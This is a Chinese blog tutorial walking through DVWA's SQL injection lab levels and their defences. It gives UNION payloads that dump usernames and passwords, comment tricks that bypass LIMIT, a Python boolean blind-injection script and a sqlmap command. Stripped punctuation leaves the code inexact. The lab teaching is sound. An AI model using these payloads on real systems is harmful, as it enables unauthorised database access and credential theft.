DVWA SQL注入关卡全拆解:从手工注入到参数化查询防御
发布时间:2026/9/26 2:36:27来源:尧图网络
DVWADamn Vulnerable Web Application的SQL Injection关卡是我当年第一次真正理解数据库查询还能这么被玩的入门练习。这个靶场的精妙之处在于它把同一个SQL注入漏洞用四个安全级别喂到你面前让你从Low级别的裸奔注入一路进化到理解High级别的盲注对抗最后在Impossible级别看到正规应用应该怎么写SQL。这篇博文不打算像某些教程那样只丢payload截图而是把每一关的判定逻辑、语句变化、绕过原理都拆开讲清楚顺便记录我打靶时踩过的一些坑。适合刚学完SQL基础、准备系统性刷Web漏洞靶场的朋友也适合在DVWA上卡在Medium或High级、查了半天教程却还是知其然不知其所以然的同学。1. 开打之前DVWA的SQL注入关卡到底在考察什么先聊清楚要打的靶是什么别急着上来就输入那一堆payload。1.1 四个级别对应着四个防御思路DVWA的每个漏洞模块都分Low、Medium、High、Impossible四个等级。对SQL Injection这个模块来说这四个等级实际上就是四份不同质量的查询代码每一份都代表了一种真实世界里见过的编码姿势Low直接拼接用户输入连引号都不处理是教科书级别的反例。Medium用mysqli_real_escape_string对输入做了转义但查询语句里没有给变量加引号于是转义函数形同虚设。High给查询加了个LIMIT 1又把用户输入先存进session再取出来增加了注入路径的迷惑性。Impossible使用PDO预处理语句配合参数绑定从根上杜绝了拼接注入。这四级设计本质上是在模拟一个团队从不设防到逐步打补丁、再到彻底重构查询逻辑的真实过程。打靶的时候别急着奔着通关去边打边留意每个级别的代码差异收获会大得多。1.2 动手前的三个热身问题开始注入之前我建议你先确认三件事第一你登录DVWA后当前的安全级别选的是哪个每换一个级别建议退出重登或清一下Cookie避免旧会话的security值干扰后面的关卡。第二你用的是浏览器自带开发者工具还是Burp Suite如果你打算打High级别Burp最好提前配好因为High关卡的注入口在POST参数里而且会先写入session直接改地址栏很别扭。第三你清楚MySQL里information_schema这个库是干什么的吗它是MySQL的元数据库所有表结构、字段名的信息都存里面后续UNION注入和盲注都要用到它。这三个问题看着基础但不少新手栽跟头就栽在环境没确认清楚上。尤其是第一个很多人打完Low切到Medium时页面没变化其实是Cookie里的安全级别没刷新导致白白折腾半天。1.3 注入类型判断字符型还是数字型SQL注入最基础的分法就是字符型和数字型。判断依据很简单如果后端把变量放在单引号里拼接那就是字符型你需要先想办法把前面的单引号闭合掉让后面的内容变成可执行的SQL代码如果后端直接把变量当数字用那就是数字型连引号都不用闭合直接写条件就行。一个常见的练习方法提交一个英文单引号如果页面报SQL语法错误或者出现异常说明输入被拼进了SQL语句而且大概率是字符型。如果页面显示了完整的SQL错误信息你就知道有戏。DVWA的Low级别甚至会在报错页面里把完整的SQL语句回显出来这是靶场给新手最大的礼包千万别跳过这一步很多人直接输payload过关反而错过了观察SQL拼接结构的最好机会。2. Low级别字符型手工注入的完整动作拆解2.1 第一步永远是用单引号试探边界Low级别的查询语句大概是这样的DVWA 1.9时期版本的做法$query SELECT first_name, last_name FROM users WHERE user_id $id;;注意看变量$id被放在一对单引号里。整个SQL的逻辑是把我传的user_id当字符串精确匹配用户表里的记录。我第一次打的时候直接在输入框里敲了一个页面立刻炸出一段SQL错误信息。报错里能清楚地看到拼接后的完整语句变成了SELECT first_name, last_name FROM users WHERE user_id ;多出来的那个单引号破坏了SQL的结构MySQL不知道拿这个尾巴怎么办只能报错。这个报错就是最有价值的信号引号没有被过滤单引号是可控的而且原查询确实是字符型拼接。如果你提交后页面毫无反应那多半是输入被过滤了或者根本没进SQL。2.2 用永真条件让整条SQL短路既然可控那就想办法让查询条件永远为真。经典的payload是1 or 11拼进原查询后整条语句变成SELECT first_name, last_name FROM users WHERE user_id 1 or 11;SQL里的or优先级虽然低于and但这里根本没有and所以or后面的11恒真。后端看到条件为真就把users表里所有用户的first_name和last_name全部查出来了。页面上会一口气列出所有注册用户的姓名而不是只有ID1这一条。这一步的意义在于验证我不光能破坏SQL的语法还能控制它的执行结果。到了这一步Low关卡的核心开关就算打开了后面UNION注入只是把数据换成更敏感的内容。2.3 UNION注入确定列数、摸清回显位置UNION注入的核心是先让前面查询结果为空再用union把自己的查询结果拼上去。但UNION有个硬性要求前后两个查询的列数必须一致。所以第一步是探测目标查询有几列。我习惯用order by探测。比如输入1 order by 2#正常返回ID为1的用户因为order by 2表示按第二列排序查询本身没问题。如果改成order by 3MySQL会报Unknown column 3 in order clause说明当前的SELECT查询只有2列。通过不断调整数字就能确定列数。确定列数后用UNION占位999 union select 1,2#这里的关键技巧是让前置查询结果为空。我用id999这个不存在的ID第一个SELECT返回空集UNION的结果自然就只剩第二个SELECT的字段。页面上会显示First name: 1Surname: 2。这两个数字出现在哪里哪里就是回显位置。如果某个位置没回显你的UNION就是盲的后面只能走盲注路线。在Low级别拿到查询权限之后可以用的payload已经非常多了我列几个最常用的目标Payload数据库版本999 union select null, version()#当前数据库名999 union select null, database()#当前数据库用户999 union select null, user()#列出所有表名999 union select null, table_name from information_schema.tables where table_schemadatabase()#读取users表的数据999 union select group_concat(user_id,0x3a,user), group_concat(password) from users#这里有个容易踩的坑UNION的列数不匹配会直接报错。如果你把列数写成1或者3页面会提示The used SELECT statements have a different number of columns这时候别慌把列数换成2就对了。我在实际练习中还发现很多人喜欢用1 and 10 union select 1,2#来置空前查询本质上和999是一样的效果只不过恒假条件在课程教学里更容易讲明白实际打靶时怎么顺手怎么来。3. Medium级别数字型注入与看似有防护的转义函数3.1 从界面上看Medium和Low的差异进入Medium关卡后你会发现页面不再是一个普通输入框而是变成了下拉选择框里面只有1到5的选项。前端看起来人畜无害好像只能选择合法的ID。我当时的第一反应是这波防护总该有点用了吧然后直接抓包看了一眼请求发现Web应用把ID放在了POST参数里后端函数处理过的数据我用Burp Suite改一个不存在的6甚至改成一个SQL语句前端根本管不着。前端限制从来不是安全边界这是Web安全的第一课。下拉框只是用户体验不是防护。很多人被这个假象唬住以为服务器也会像前端一样只允许1到5这就太低看攻击者了——服务器只会相信你发过去的参数不会关心浏览器UI长什么样。3.2 mysqli_real_escape_string的转义盲区Medium级别后端代码大致是DVWA 1.9版本示意$id mysqli_real_escape_string($conn, $_POST[id]); $query SELECT first_name, last_name FROM users WHERE user_id $id;;它确实调用了mysqli_real_escape_string这个函数会把输入中的单引号、双引号、反斜杠等字符加上反斜杠转义。比如输入1经过转义后变成1\单引号就失去了闭合SQL的作用。但问题来了注意查询语句里$id外面没有加引号。也就是说这是一个数字型注入场景。而mysqli_real_escape_string转义的那点东西在数字型场景下根本用不上因为数字型注入不需要破坏引号——SQL直接把我的输入当作数字值拼接进去了。所以你只需要输入1 or 11查询就会变成SELECT first_name, last_name FROM users WHERE user_id 1 or 11;条件恒真所有用户的数据再次全部暴露。整个过程根本没用到单引号转义函数像空气一样透明。这就是Medium关卡最讽刺的地方它做了一层防护但这层防护恰好护错了位置。3.3 Burp Suite改包注入实操用Burp改包的方式很简单把DVWA请求代理到127.0.0.1:8080提交一次下拉选择抓到POST请求。请求体大概长这样id2SubmitSubmit然后右击发送到Repeater把id参数改成payload。我实测一个比较稳妥的验证方式是id1 union select null, version()SubmitSubmit如果页面上显示出了MySQL版本号说明UNION注入在Medium级别依然有效。Medium级别里页面上会有User ID: 1这样的回显只要你输入的内容被拼进SQL并控制了结果回显逻辑跟Low一模一样。顺带提一个操作细节DVWA的Medium关卡用的是POST方式你在Burp的Repeater里除了要改id参数还要注意保留SubmitSubmit。有些新手直接把请求体里的参数删剩一个id结果提交后进去分支不对页面没反应还以为是Payload的问题。这种问题排查起来特浪费时间所以改包时尽量保持原始参数结构只动需要改的那一个值。3.4 为什么说Medium的防护是自我安慰事实就是mysqli_real_escape_string这类转义函数只对字符型注入有有限的拦截效果而且就算在字符型场景里也有编码绕过空间。放到数字型场景里它就像给木门加了一把玻璃锁——看着努力了实际毫无意义。这个例子在现实中很有教育意义。很多初学者以为我用了转义函数就安全了但实际上转义函数不是万能的它解决不了查询逻辑本身的结构问题。真正的解法是参数化查询也就是后面Impossible级别展示的姿势。在Medium关卡我还会顺手试一个细节把POST改成GET把参数拼到URL上看后端代码是死板地读$_POST[id]还是兼容两种方式。DVWA这个版本的Medium只认POST但这个改请求方式的小动作在真实渗透里经常能绕过某些WAF规则值得养成习惯。4. High级别LIMIT 1干扰下的三种突破思路4.1 High级别的防护策略变化到了High级别后端的查询语句变成了这样DVWA 1.9版本示意$id $_SESSION[id]; $query SELECT first_name, last_name FROM users WHERE user_id $id LIMIT 1;;有两点明显的变化用户提交的id不再直接进入查询而是先存入$_SESSION[id]后端再从session里取出来用。这相当于加了一个会话中转避免直接暴露查询入口。查询语句末尾多了一个LIMIT 1。这个限制很恶心就算你构造了永真条件让查询匹配到所有用户MySQL只会返回第一行之前的1 or 11攻击没法直观地看到全部数据了。还有一点High级别页面把SQL的错误回显关闭了大部分报错只会看到一句干巴巴的Something went wrong.这意味着想靠报错信息判断语句结构的路子也断了。我一开始不知道第一步该怎么做直接提交了一个1 or 11结果页面只显示ID为1的用户的记录——因为LIMIT 1生效了。数据没爆全但至少让我确认了注入条件还是成立的。4.2 思路一UNION注入加空集前置LIMIT 1虽然限制返回结果的行数但它限制不了UNION SELECT本身生成的行数。如果我们能让前半个SELECT查不到任何数据那么UNION后面的结果就只有一行了LIMIT 1反而帮我们把这一行锁在视野正中央。经典payload999 union select 1,2#这里999是users表里不存在的用户ID第一个SELECT返回空集UNION的结果实际上就是第二个SELECT的那一行LIMIT 1限制不了只剩一行的情况。如果还想更严谨可以用1 and 10 union select 1,2#where条件恒假第一个SELECT一样是空集。页面会直接显示First name: 1、Surname: 2证明UNION注入在High关卡依然畅通。再进一步读取数据999 union select null, group_concat(user,0x3a,password) from users#注意High关卡里整个UNION的结果只有一行group_concat刚好可以把users表中所有用户名和密码拼成一行文本安全地塞进唯一一个回显字段里。这是我打High关卡时最常用的一招一条SQL就能把整个用户表拖出来比逐条猜省太多时间。4.3 思路二用注释符把LIMIT干掉如果你不想老是靠空集前置这招另一个思路是直接注释掉后面的LIMIT 1。MySQL支持#和--两种注释写法其中--后面必须带一个空格。输入1 or 11 --拼接出来的完整语句是SELECT first_name, last_name FROM users WHERE user_id 1 or 11 -- LIMIT 1;从--开始到行尾的内容全部是注释LIMIT 1被无视了于是所有用户的姓名重新全部暴露。这个payload我不知道用过多少次几乎可以无脑用在各种后面跟了限制条件的字符型注入场景里。唯一的注意点是--后面必须保证有空格或者干脆用#但#在部分HTTP请求中需要编码成%23否则可能被当成URL片段截断。DVWA的POST表单里我直接用#没问题但如果你换到GET接口记得先对特殊字符做URL编码。4.4 思路三手写Python布尔盲注High级别最值得练习的技能是盲注。因为它不返回错误信息也没有直观的UNION回显如果你不打算用Union的空集前置很多时候你只能通过页面是否显示First name来做一个布尔判断——条件为真显示数据条件为假显示User ID is incorrect。一个最基础的布尔盲注脚本如下import requests url http://127.0.0.1/dvwa/vulnerabilities/sqli/ cookies {PHPSESSID: 你的会话ID, security: high} chars abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_.- result for i in range(1, 32): for c in chars: payload 1 and substr(database(),%d,1)%c# % (i, c) data {id: payload, Submit: Submit} r requests.post(url, datadata, cookiescookies) if First name in r.text: result c print(result) break else: break print(database:, result)这个脚本的思路是逐字符猜当前数据库名。payload里的substr(database(),i,1)会取出数据库名的第i个字符如果这个字符等于我们猜的那个c那么and后的条件为真整个where条件为真页面就会返回First name如果不等于条件为假页面返回错误提示。通过遍历字符集就能拼出完整的库名。跑这个脚本之前记得把Cookie换成你自己登录后的PHPSESSID。另外在DVWA中High级别提交的POST参数需要先写入session才能生效所以requests.post的data参数里带上id与Submit就够了不用额外处理session函数内部会自动通过Cookie保持一致。实测下来High关卡用布尔盲注比时间盲注更稳定。因为页面返回速度本来就快时间盲注受网络波动影响太大动不动就要加长sleep秒数跑得慢还不保险。布尔盲注只需要一个有/无的页面差异干净利落。如果你要猜的表数据很多可以把字符集缩小成数字小写字母速度能快一倍。5. Impossible级别预处理语句如何把SQL注入连根拔起5.1 参数化查询的两个关键特征打到Impossible关卡时页面交互和之前很类似但后端代码已经完全是另一个物种了$data $db-prepare( SELECT first_name, last_name FROM users WHERE user_id (:id) LIMIT 1; ); $data-bindParam( :id, $id, PDO::PARAM_INT ); $data-execute();这串代码里最关键的是prepare和bindParam。prepare会先把SQL语句的骨架提交给MySQL服务器进行解析:id只是个占位符bindParam再把用户输入作为纯数据绑定到占位符上。整个过程里用户输入永远不会和SQL语句发生字符串层面的拼接自然也就不存在闭合引号这条路了。打个比方Low级别的SQL拼接像拿一块白板和一支笔把用户的话直接写在白板上来执行命令而参数化查询是短信模板用户只能往固定的空档里填内容填多少都是文字内容永远成不了指令。这个类比我每次带新人时都要讲一遍因为它是理解SQL注入防御的钥匙。5.2 为什么输入过滤永远替代不了预处理很多人会问既然可能导致注入的字符就那么多我写个WAF把所有危险字符都拦掉或者干脆用mysqli_real_escape_string是不是也一样安全问题在于过滤和转义属于黑名单思维你永远没办法穷举所有恶意输入。有些场景下编解码、大小写变形、注释符号、十六进制编码都会让简单的过滤失效。而预处理是白名单思维——它从架构上规定了输入只能当数据不允许脱离数据层。市面上报告的SQL注入漏洞绝大多数都能追根溯源到某段字符串拼接极少有参数化查询被直接击穿的案例。所以Impossible级别不是简单地加了个防护而是换了一种查询范式。这个认知比多记几个payload有用得多。5.3 从靶场到现实的防御清单打完DVWA的SQL Injection四个关卡我建议你把下面的防御清单顺手存下来以后写代码或做代码审计时对照着用数据库操作一律使用预处理语句PDO或MySQLi的prepare/bindParam禁止直接拼接用户输入。即使是数字型参数也要绑定参数类型如PDO::PARAM_INT防止类型混淆带来的额外风险。应用层对用户输入要做类型校验和长度校验但不要把它当作唯一的防线。数据库账号按最小权限分配查询用户不该有drop、delete等高危权限。开启数据库错误信息的脱敏生产环境永远不要把底层报错直接输出到页面上。在WAF/网关层做纵深防御但记得WAF只是第二道防线不是第一责任方。顺着DVWA这四个级别的变化你可以清晰地看到从裸奔到自我安慰到增加干扰再到架构级防御这是一个真实的安全建设演进过程。理解这个过程比单纯通关重要得多。6. 打完四个关卡的下一步建议我个人经验是DVWA只是SQL注入入门的第一个里程碑别停在能通关就沾沾自喜。下一步可以做三件事。第一把通关过程中用过的payload整理成一个备忘录按照字符型闭合数字型拼接UNION列数探测盲注判断条件四个维度分类。以后在别的靶场遇到类似关卡直接照猫画虎就行。我自己的备忘录里每一类后面还会补一句什么时候该用哪招比如看见页面报错先判断是不是字符型、看见下拉框先抓包、看见LIMIT就先想到注释符或空集前置。第二去刷SQLi-Labs或者Upload-Labs把同一个原理放到更多变的场景里去重练。SQL注入这东西看一百遍不如亲手打一遍尤其是盲注脚本建议自己从零写一次别直接抄现成的。SQLi-Labs的题目设计比DVWA更偏变态很多关卡会把过滤规则玩出花来正好拿来检验自己有没有真懂原理。第三把所有级别的源代码文件认真读一遍理解每行防御代码的作用。DVWA在GitHub上开源源码路径就在dvwa/vulnerabilities/sqli/source/下看完了你对PHP的SQL查询写法会有更深的体会。我个人很喜欢把四个级别的源码并列摆在一个编辑器里对比一眼就能看出防御演进的全过程。最后再分享一个小技巧在打High级别时如果不想动手写Python盲注脚本sqlmap其实也可以配Cookie直接跑命令大致如下sqlmap -u http://127.0.0.1/dvwa/vulnerabilities/sqli/?id1SubmitSubmit --cookiePHPSESSID你的会话;securityhigh --dbs不过说真的自动化工具跑出来的结果远没有你一行行payload手打出来对漏洞理解得深。DVWA这种靶场多用手少用工具才是正确的打开方式。
网站建设高端定制企业官网